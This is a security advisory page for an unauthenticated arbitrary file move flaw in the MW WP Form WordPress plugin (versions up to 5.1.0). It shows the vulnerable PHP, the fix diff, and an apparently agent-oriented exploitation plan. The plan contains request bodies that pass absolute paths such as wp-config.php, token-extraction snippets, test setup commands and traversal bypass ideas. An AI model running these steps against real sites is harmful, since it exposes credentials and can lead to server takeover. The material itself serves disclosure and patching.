MW WP Form <= 5.1.0 - Unauthenticated Arbitrary File Move via move_temp_file_to_upload_dir
Description
The MW WP Form plugin for WordPress is vulnerable to arbitrary file moving due to insufficient file path validation via the 'generate_user_filepath' function and the 'move_temp_file_to_upload_dir' function in all versions up to, and including, 5.1.0. This makes it possible for unauthenticated attackers to move arbitrary files on the server, which can easily lead to remote code execution when the right file is moved (such as wp-config.php). The vulnerability is only exploitable if a file upload field is added to the form and the “Saving inquiry data in database” option is enabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.1.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4347 (MW WP Form Arbitrary File Move) ## 1. Vulnerability Summary The **MW WP Form** plugin (<= 5.1.0) is vulnerable to an **Unauthenticated Arbitrary File Move** vulnerability. The flaw exists because the `MW_WP_Form_Directory::generate_user_filepath` functio…
Show full research plan
Exploitation Research Plan: CVE-2026-4347 (MW WP Form Arbitrary File Move)
1. Vulnerability Summary
The MW WP Form plugin (<= 5.1.0) is vulnerable to an Unauthenticated Arbitrary File Move vulnerability. The flaw exists because the MW_WP_Form_Directory::generate_user_filepath function uses the WordPress path_join() function to construct a file path using a user-supplied filename without ensuring the resulting path remains within the intended temporary directory.
Specifically, if an attacker provides an absolute path (e.g., /var/www/html/wp-config.php) as the filename, path_join() returns that absolute path directly, bypassing the intended directory prefix. The function's subsequent check for ../ is bypassed because absolute paths do not necessarily contain traversal sequences. The resulting arbitrary path is then passed to MWF_Functions::move_temp_file_to_upload_dir, which uses PHP's rename() function to move the target file to the public WordPress uploads directory.
2. Attack Vector Analysis
- Endpoint: Any WordPress page containing an MW WP Form shortcode.
- Vulnerable Action: The "Complete" step (final submission) of a form that includes a file upload field.
- Parameters:
mw-wp-form-form-id: The ID of the vulnerable form._token: A valid CSRF/session token for the form.[field_name]: The name attribute of the file upload field, carrying the malicious absolute path.
- Preconditions:
- A form must exist with a file upload field (
[mwform_file name="..."]). - The "Saving inquiry data in database" option must be enabled for that form.
- A directory for the user's session must already exist in the temp upload folder (achieved by performing a legitimate upload in the first step).
- A form must exist with a file upload field (
3. Code Flow
- Entry Point: A user submits the final step of a multi-step form (Confirm -> Complete transition).
- Controller: The submission is handled, and because "Save in Database" is enabled, the plugin attempts to finalize uploaded files.
MW_WP_Form_Directory::generate_user_filepath($form_id, $name, $filename):- Calls
generate_user_file_dirpath($form_id, $name)to get the base temp directory. - Validates that this directory exists:
is_dir( $user_file_dir )(This is why a dummy upload is required first). - Sink:
$filepath = path_join( $user_file_dir, $filename ); - If
$filenameis/var/www/html/wp-config.php,path_joinreturns/var/www/html/wp-config.php. - The check
str_contains( $filepath, '../' )passes because no traversal is used.
- Calls
MWF_Functions::move_temp_file_to_upload_dir($filepath, ...):- Takes the returned
$filepath. - Calculates a new destination in the standard WP uploads folder.
- Sink:
rename( $filepath, $new_filepath )moves the arbitrary file.
- Takes the returned
4. Nonce/Token Acquisition Strategy
MW WP Form uses a _token parameter for session management and CSRF protection. This token is required to make the submission valid.
- Identify the Form: Find a page containing an MW WP Form.
- Extract Token:
- Use
browser_navigateto visit the form page. - The token is typically found in a hidden input field:
<input type="hidden" name="_token" value="...">. - It may also be localized in JavaScript via
mw_wp_form_js.
- Use
- JavaScript Execution:
// Use browser_eval to get the token from the hidden field browser_eval("document.querySelector('input[name=\"_token\"]').value")
5. Test Data Setup
- Create Form:
# Create a form with a file field FORM_ID=$(wp post create --post_type=mw-wp-form --post_title="Exploit Test" --post_status=publish --porcelain) # Add a file field and a submit button to the content wp post edit $FORM_ID --post_content='[mwform_file name="attachment"][mwform_submit name="submit" value="Send"]' # Enable "Save to Database" (stored in post meta) wp post meta set $FORM_ID mw-wp-form-database-save 1 - Create Target File:
echo "secret_data" > /var/www/html/secret.txt - Publish on Page:
wp post create --post_type=page --post_title="Form Page" --post_status=publish --post_content="[mw-wp-form id='$FORM_ID']"
6. Exploitation Strategy
Step 1: Initialize Session and Create Temp Directory
Perform a legitimate upload to create the required directory structure under uploads/mw-wp-form_uploads/.
- Method: POST
- URL:
/form-page/ - Body (Multipart):
mw-wp-form-form-id:$FORM_ID_token:$TOKENattachment:dummy.txt(actual file upload)mwform_submit: "Send" (triggers confirmation/input processing)
Step 2: Arbitrary File Move Injection
Submit the "Complete" request, replacing the expected filename with the absolute path of the target file.
- Method: POST
- URL:
/form-page/ - Content-Type:
application/x-www-form-urlencoded - Body:
mw-wp-form-form-id:$FORM_ID_token:$TOKENattachment:/var/www/html/secret.txtmwform_submit: "Send"__view_flg:complete(or equivalent parameter used to signal final step)
7. Expected Results
- The plugin will resolve the path to
/var/www/html/secret.txt. - The
rename()function will movesecret.txtfrom the WordPress root to a subdirectory withinwp-content/uploads/YYYY/MM/. - The
secret.txtfile will no longer exist in the root directory. - The HTTP response may indicate a successful form submission.
8. Verification Steps
- Check for File Absence:
[ ! -f /var/www/html/secret.txt ] && echo "SUCCESS: File moved from root" - Locate Moved File:
Search the uploads directory for the moved file:find /var/www/html/wp-content/uploads -name "secret.txt"
9. Alternative Approaches
If absolute paths are blocked by an environmental factor (like PHP open_basedir), try using ..// or ..\/ which may bypass simple str_contains(..., '../') checks while still resolving to a parent directory on certain OS/PHP combinations. Alternatively, if the target is wp-config.php, provide the path relative to the uploads directory if the number of steps up is known.
Summary
The MW WP Form plugin for WordPress is vulnerable to an unauthenticated arbitrary file move vulnerability due to insufficient path validation in the `generate_user_filepath` function. Attackers can provide absolute paths for file upload fields during form submission, causing the plugin to move sensitive server files (like wp-config.php) into a public uploads directory, potentially leading to remote code execution.
Vulnerable Code
// classes/models/class.directory.php line 160 public static function generate_user_filepath( $form_id, $name, $filename ) { if ( ! $filename ) { return false; } $user_file_dir = static::generate_user_file_dirpath( $form_id, $name ); if ( ! $user_file_dir || ! is_dir( $user_file_dir ) ) { return false; } $filepath = path_join( $user_file_dir, $filename ); if ( str_contains( $filepath, '../' ) || str_contains( $filepath, '..' . DIRECTORY_SEPARATOR ) ) { throw new \RuntimeException( '[MW WP Form] Invalid file reference requested.' ); } if ( str_contains( $filepath, './' ) || str_contains( $filepath, '.' . DIRECTORY_SEPARATOR ) ) { throw new \RuntimeException( '[MW WP Form] Invalid file reference requested.' ); } --- // classes/functions.php line 144 public static function move_temp_file_to_upload_dir( $filepath, $upload_dir = '', $filename = '' ) { $wp_upload_dir = wp_upload_dir(); // ... (calculation of $new_filepath) // If it can move, even if it can not move, return only the path after rename if ( rename( $filepath, $new_filepath ) ) { return $new_filepath; } return $new_filepath; }
Security Fix
@@ -43,11 +43,11 @@ /** * Unify line feed code to \n. * - * @param sring $string String. + * @param string|null $string String. * @return string */ public static function convert_eol( $string ) { - return preg_replace( "/\r\n|\r|\n/", "\n", $string ); + return is_string( $string ) ? preg_replace( "/\r\n|\r|\n/", "\n", $string ) : ''; } /** @@ -107,7 +107,7 @@ $akismet[ $key ] = $value; } - $query_string = http_build_query( $akismet, null, '&' ); + $query_string = http_build_query( $akismet, '', '&' ); if ( is_callable( array( 'Akismet', 'http_post' ) ) ) { $response = Akismet::http_post( $query_string, 'comment-check' ); } else { @@ -145,7 +145,21 @@ return false; } - $filepath = path_join( $user_file_dir, $filename ); + $normalized_filename = wp_normalize_path( $filename ); + if ( + wp_basename( $normalized_filename ) !== $normalized_filename || + strstr( $normalized_filename, "\0" ) + ) { + throw new \RuntimeException( '[MW WP Form] Invalid file reference requested.' ); + } + + $filepath = path_join( $user_file_dir, $filename ); + $filepath = wp_normalize_path( $filepath ); + $user_file_dir = trailingslashit( wp_normalize_path( $user_file_dir ) ); + + if ( 0 !== strpos( $filepath, $user_file_dir ) ) { + throw new \RuntimeException( '[MW WP Form] Invalid file reference requested.' ); + } if ( str_contains( $filepath, '../' ) || str_contains( $filepath, '..' . DIRECTORY_SEPARATOR ) ) { throw new \RuntimeException( '[MW WP Form] Invalid file reference requested.' );
Exploit Outline
The exploit target any unauthenticated user with access to a form containing an upload field and the 'Save to database' option enabled. 1. Establish a session and create the temporary upload directory structure by performing a legitimate file upload in the first step of the form. 2. Note the `_token` and form ID required for valid submission. 3. Submit the final (complete) step of the form. In this request, set the value of the file upload field parameter to an absolute system path (e.g., `/var/www/html/wp-config.php`) instead of the expected relative filename. 4. Because `path_join` in the vulnerable version returns absolute paths as-is, the subsequent `rename` call moves the target system file into the public WordPress uploads directory. 5. Access the moved file via the web server in the `wp-content/uploads/` directory to retrieve sensitive credentials or configuration data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.